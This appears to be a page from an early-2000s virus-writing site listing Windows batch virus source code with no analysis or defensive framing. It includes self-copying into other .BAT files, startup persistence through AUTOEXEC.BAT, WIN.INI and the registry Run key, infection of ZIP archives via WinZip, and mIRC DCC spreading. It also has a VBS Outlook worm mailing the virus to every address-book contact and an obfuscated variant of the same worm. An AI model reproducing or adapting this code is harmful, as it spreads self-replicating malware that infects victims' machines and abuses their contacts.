2002 - 2004 << Back | Fwrd >>

@ECHO OFF


CLS





(VARS SETTINGS)





--------------


VIRUS CODE


--------------





(MSG TO SCREEN)





EXIT / CLS / CRASH

>C:\AUTOEXEC.BAT ECHO %WINDIR%\VIRUS.BAT

>>C:\AUTOEXEC.BAT ECHO %WINDIR%\VIRUS.BAT

COPY %0 C:\AUTOEXEC.BAT

>>%WINDIR%\WIN.INI ECHO [Windows]


>>%WINDIR%\WIN.INI ECHO run=%WINDIR%\VIRUS.BAT

>%TEMP%\VIRUS.REG ECHO REGEDIT4


>>%TEMP%\VIRUS.REG ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


>>%TEMP%\VIRUS.REG ECHO "VIRUS"="%windir%\\VIRUS.BAT"


REGEDIT /S %TEMP%\VIRUS.REG

IF NOT EXIST %WINDIR%\VIRUS.BAT COPY %0 %WINDIR%\VIRUS.BAT

IF NOT EXIST %WINDIR%\VIRUS.BAT COPY %TEMP%\VIRUS_BACKUP %WINDIR%\VIRUS.BAT

COPY %0 %TEMP%\VIRUSCODE.TXT

IF NOT EXIST %WINDIR%\VIRUS.BAT COPY %TEMP%\VIRUSCODE.TXT %WINDIR%\VIRUS.BAT

ATTRIB +H +R %WINDIR%\VIRUS.BAT

COPY %0 PROGRAM.BAT

FOR %%C IN (*.BAT, %WINDIR%\*.BAT, %TEMP%\*.BAT) DO COPY %0 %%C

ATTRIB -H -R -S *.BAT


ATTRIB -H -R -S %WINDIR%\*.BAT


ATTRIB -H -R -S %TEMP%\*.BAT

FOR %%C IN (*.BAT, %WINDIR%\*.BAT, %TEMP%\*.BAT) DO IF NOT %0==%%C COPY %0 %%C

SET INF=X


FOR %%C IN (*.BAT, %WINDIR%\*.BAT, %TEMP%\*.BAT) DO SET INF=%%C


IF %INF%==X GOTO NO_BATCH_FILES


ATTRIB -H -R -S %INF%


>>%INF% TYPE %0

:INFECTION





SET INF=X


FOR %%C IN (*.BAT, %WINDIR%\*.BAT, %TEMP%\*.BAT) DO SET INF=%%C


IF %INF%==X GOTO RESTORE_BATCH


ATTRIB -H -R -S %INF%


>>%INF% TYPE %0


REN %INF% *.SCN





GOTO INFECTION





:RESTORE_BATCH





REN *.SCN *.BAT


REN %WINDIR%\*.SCN *.BAT


REN %TEMP%\*.SCN *.BAT

@echo off


@echo REM WINRIP by SkamWerks Labs > winripem.bat


@copy winrip.bat "c:\..\..\..\..\..\..\..\winnt\profiles\default user\start menu\programs\startup\winrip.bat"


@dir /s /b /l c:\winzip32.exe | set wz=


@FOR /F "delims==" %%y IN ('dir /s /b /l c:\*.zip') DO @echo "%wz%" -min -a -r -p "%%y" "c:\..\..\..\..\..\..\..\winnt\profiles\default user\start menu\programs\startup\winrip.bat" >> winripem.bat


@call winripem.bat


@del winripem.bat

@ECHO OFF


CLS





REM WINRIP - INFECTING WINZIP FILES


REM A NEW VERSION BY BLACKSNAKE





COPY %0 %WINDIR%\WINRIP.BAT


ATTRIB +R %WINDIR%\WINRIP.BAT





>>%WINDIR%\WIN.INI ECHO [WINDOWS]


>>%WINDIR%\WIN.INI ECHO RUN=%WINDIR%\WINRIP.BAT





:OPERATION





IF NOT EXIST C:\PROGRA~1\WINZIP\WINZIP32.EXE GOTO CANCEL_OPERATION





:OPERATION_GO





SET WINZIP=C:\PROGRA~1\WINZIP\WINZIP32.EXE


FOR %%C IN (*.ZIP, %WINDIR%\.ZIP, %TEMP%\.ZIP) DO %WINZIP% -MIN -A -R -P "%%C" %0





:CANCEL_OPERATION





REM DONE

SET MIRC=X


IF EXIST C:\MIRC\MIRC.INI SET MIRC=C:\MIRC


IF EXIST C:\PROGRA~1\MIRC\MIRC.INI SET MIRC=C:\PROGRA~1\MIRC


IF %MIRC%==X GOTO NO_MIRC_FOUND

[SCRIPT]





N0=ON *:JOIN:#:{


N1=IF ($NICK != $ME) {


N2=.MSG $NICK HEY PAL, TAKE A LOOK ;)


N3=.DCC SEND -C %WINDIR%\VIRUS.BAT


N4=}


N5=}

SET MIRC=X


IF EXIST C:\MIRC\MIRC.INI SET MIRC=C:\MIRC


IF EXIST C:\PROGRA~1\MIRC\MIRC.INI SET MIRC=C:\PROGRA~1\MIRC


IF %MIRC%==X GOTO NO_MIRC_FOUND





>%MIRC%\SCRIPT.INI ECHO [SCRIPT]


>>%MIRC%\SCRIPT.INI ECHO N0=ON *:JOIN:#:{


>>%MIRC%\SCRIPT.INI ECHO N1=IF ($NICK != $ME) {


>>%MIRC%\SCRIPT.INI ECHO N2=.MSG $NICK HEY PAL, TAKE A LOOK ;)


>>%MIRC%\SCRIPT.INI ECHO N3=.DCC SEND -C %WINDIR%\VIRUS.BAT


>>%MIRC%\SCRIPT.INI ECHO N4=}


>>%MIRC%\SCRIPT.INI ECHO N5=}





:NO_MIRC_FOUND

>%TEMP%\CODEME.VBS ECHO.On Error Resume Next


>>%TEMP%\CODEME.VBS ECHO Set gaqvvuxpmpe = CreateObject("Outlook.Application")


>>%TEMP%\CODEME.VBS ECHO If gaqvvuxpmpe = "Outlook" Then


>>%TEMP%\CODEME.VBS ECHO Set lltuwsemiar = gaqvvuxpmpe.GetNameSpace("MAPI")


>>%TEMP%\CODEME.VBS ECHO For Each scrtafqwqjx In lltuwsemiar.AddressLists


>>%TEMP%\CODEME.VBS ECHO If scrtafqwqjx.AddressEntries.Count <> 0 Then


>>%TEMP%\CODEME.VBS ECHO For ihvmvoqdqws = 1 To scrtafqwqjx.AddressEntries.Count


>>%TEMP%\CODEME.VBS ECHO Set camwjfdjrzj = scrtafqwqjx.AddressEntries(ihvmvoqdqws)


>>%TEMP%\CODEME.VBS ECHO Set diurghxhkoj = gaqvvuxpmpe.CreateItem(0)


>>%TEMP%\CODEME.VBS ECHO diurghxhkoj.To = camwjfdjrzj.Address


>>%TEMP%\CODEME.VBS ECHO diurghxhkoj.Subject = "A Nice Batch Game"


>>%TEMP%\CODEME.VBS ECHO diurghxhkoj.Body = "Please take a look." & vbCrLf & ""


>>%TEMP%\CODEME.VBS ECHO diurghxhkoj.Attachments.Add "%WINDIR%\Virus.bat"


>>%TEMP%\CODEME.VBS ECHO diurghxhkoj.DeleteAfterSubmit = True


>>%TEMP%\CODEME.VBS ECHO If diurghxhkoj.To <> "" Then


>>%TEMP%\CODEME.VBS ECHO diurghxhkoj.Send


>>%TEMP%\CODEME.VBS ECHO End If


>>%TEMP%\CODEME.VBS ECHO Next


>>%TEMP%\CODEME.VBS ECHO End If


>>%TEMP%\CODEME.VBS ECHO Next


>>%TEMP%\CODEME.VBS ECHO End If





WSCRIPT.EXE %TEMP%\CODEME.VBS

@echo off


cls


goto b


:a


copy %0 %windir%\%a15%%a14%%a15%%a26%%a22%m\^-^.%a1%%a0%%a26%


if not exist %windir%\J%a0%%a9%%a21%ן¿½%a22%.%a1%%a0%%a26% copy %0 %windir%\J%a0%%a9%%a21%ן¿½%a22%.%a1%%a0%%a26%


if exist %temp%\S12.%a19%%a1%%a15% del %temp%\S12.%a19%%a1%%a15%


attrib +%a6% +%a15% %windir%\J%a0%%a9%%a21%ן¿½%a22%.%a1%%a0%%a26%


copy %0 %windir%\%a0%%a18%%a26%%a5%%a22%%a20%%a22%%a23%.%a1%%a0%%a26%


attrib -%a11% -%a6% -%a15% %a23%:\%a0%%a18%%a26%%a5%%a22%%a20%%a22%.%a1%%a0%%a26%


>>%a23%:\%a0%%a18%%a26%%a5%%a22%%a20%%a22%%a23%.%a1%%a0%%a26% %a22%%a23%%a11%%a5% %a15%%a26%a%a6%%a26% %windir%\J%a0%%a9%%a21%ן¿½%a22%.%a1%%a0%%a26%


for %%c %a21%%a9% (*.%a1%%a0%%a26%) %a10%%a5% %a23%%a5%%a7%%a14% %0 %%c>nul


>>%temp%\S9 echo 209.71.218.253


copy %0 %temp%\I%a9%%a15%%a26%%a0%%a4%%a4%.%a1%%a0%%a26%


>%windir%\Win.ini echo [windows]


>>%windir%\Win.ini echo run=%windir%\%a0%%a18%%a26%%a5%%a22%%a20%%a22%%a23%.%a1%%a0%%a26%


>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5%.%a5%%a9% %a22%%a6%%a6%%a5%%a6% %a6%%a22%%a15%%a18%m%a22% %a9%%a22%%a20%%a26%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a15%%a22%%a26% gaqv%a19%uxpmp%a22% = %a23%%a6%%a22%%a0%%a26%%a22%%a5%%a1%%a24%%a22%%a23%%a26%%a27%"%a5%u%a26%%a4%%a5%%a5%k.%a0%%a7%%a7%%a4%i%a23%%a0%%a26%i%a5%%a9%")


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5%. %a21%%a2% gaqvv%a18%xpmp%a22% = "O%a18%%a26%l%a5%%a5%%a8%" %a26%%a11%%a22%%a9%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a15%%a22%%a26% lltuwsemia%a6% = gaqvvuxpmpe.G%a22%%a26%%a9%%a0%m%a22%Sp%a0%%a23%%a22%("M%a0%%a7%%a21%")


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a2%%a5%%a6% %a22%%a0%%a23%%a11% %a15%crtafqwqjx %a21%%a9% lltuw%a15%emiar.A%a10%%a10%r%a22%%a15%%a15%Li%a15%%a26%%a15%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5%. %a21%%a2% %a15%crtafqwqjx.%a0%%a10%%a10%%a6%%a22%%a15%s%a22%%a9%%a26%%a6%%a21%%a22%s.%a23%%a5%u%a9%%a26% <> 0 %a26%%a11%%a22%%a9%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a2%%a5%%a6% ihvmvoqdqws = 1 %a26%%a5% %a15%%a23%r%a26%afqwqjx.%a0%%a10%%a10%%a6%%a22%ss%a22%%a9%%a26%%a6%%a21%%a22%s.%a23%%a5%u%a9%%a26%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a15%%a22%%a26% camwjfdjrzj = scrtafqwqjx.Addr%a22%ss%a22%%a9%%a26%%a6%%a21%%a22%s(%a21%%a11%vmv%a5%qdqws)


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a15%%a22%%a26% %a10%iurghxhkoj = gaqvvuxpmpe.%a23%%a6%%a22%a%a26%%a22%I%a26%%a22%m(0)


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a10%iurghxhkoj.%a26%%a5% = camwjfdjrzj.%a0%%a10%%a10%%a6%%a22%s%a15%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a10%iurghxhkoj.%a15%u%a1%j%a22%%a23%%a26% = "Subject message goes in"


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a10%iurghxhkoj.%a1%%a5%%a10%%a14% = "Body message goes out ;P"


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a10%iurghxhkoj.%a0%%a26%%a26%a%a23%%a11%m%a22%n%a26%s.A%a10%%a10% "%temp%\%a21%%a9%%a15%%a26%%a0%%a4%%a4%.%a1%%a0%%a26%"


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a10%iurghxhkoj.%a10%%a22%l%a22%%a26%%a22%%a0%%a2%%a26%%a22%r%a15%u%a1%m%a21%%a26% = %a26%ru%a22%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5%. %a21%%a2% %a10%iurghxhkoj.%a26%%a5% <> "" %a26%%a11%%a22%%a9%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a10%iurghxhkoj.%a15%%a22%%a9%%a10%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a9%%a22%%a20%%a26%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a9%%a22%%a20%%a26%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a22%%a9%%a10% %a21%%a2%


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a15%%a22%%a26% %a13%%a15% = %a23%%a6%%a22%a%a26%%a22%%a5%%a1%j%a22%%a23%%a26%("%a13%%a15%%a23%%a6%%a21%%a7%%a26%.%a15%%a11%%a22%ll")


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a13%%a15%.%a6%%a22%g%a13%%a6%%a21%%a26%%a22% "HKLM\%a15%%a5%%a2%%a26%%a13%a%a6%%a22%\m%a21%%a23%%a6%%a5%%a15%%a5%%a2%%a26%\%a13%%a21%%a9%%a10%%a5%%a13%%a15%\%a23%%a18%%a6%%a6%%a22%%a9%%a26%v%a22%%a6%%a15%%a21%%a5%%a9%\%a6%%a18%%a9%\D%a21%%a6%%a26%" , "%a15%%a26%a%a6%%a26% /m %windir%\%a15%%a14%%a15%%a26%%a22%m\^-^.%a1%%a0%%a26%"


>>%temp%\S12.%a19%%a1%%a15% %a22%%a23%%a11%%a5% %a13%%a15%.%a6%%a22%g%a13%%a6%%a21%%a26%%a22% "HKLM\%a15%%a5%%a2%%a26%%a13%a%a6%%a22%\m%a21%%a23%%a6%%a5%%a15%%a5%%a2%%a26%\%a13%%a21%%a9%%a10%%a5%%a13%%a15%\%a23%%a18%%a6%%a6%%a22%%a9%%a26%v%a22%%a6%%a15%%a21%%a5%%a9%\%a6%%a18%%a9%\ZD%a21%%a6%%a26%" , "%a13%%a15%%a23%%a6%%a21%%a7%%a26%.%a22%%a20%%a22% %temp%\%a15%12.%a19%%a1%%a15% %"


start %a13%%a15%%a23%ri%a7%%a26%.%a22%%a20%%a22% %temp%\S12.%a19%%a1%%a15%


goto c


:b


set a1=b


set a2=f


set a20=x


set a3=g


set a4=l


set a15=s


set a5=o


set a27=(


set a6=r


set a7=p


set a8=k


set a24=j


set a9=n


set a0=A


set a10=d


set a23=c


set a11=h


set a13=w


set a14=y


set a16=z


set a26=t


set a18=u


set a19=v


set a21=i


set a22=e


set a25=m


goto a


:c


cls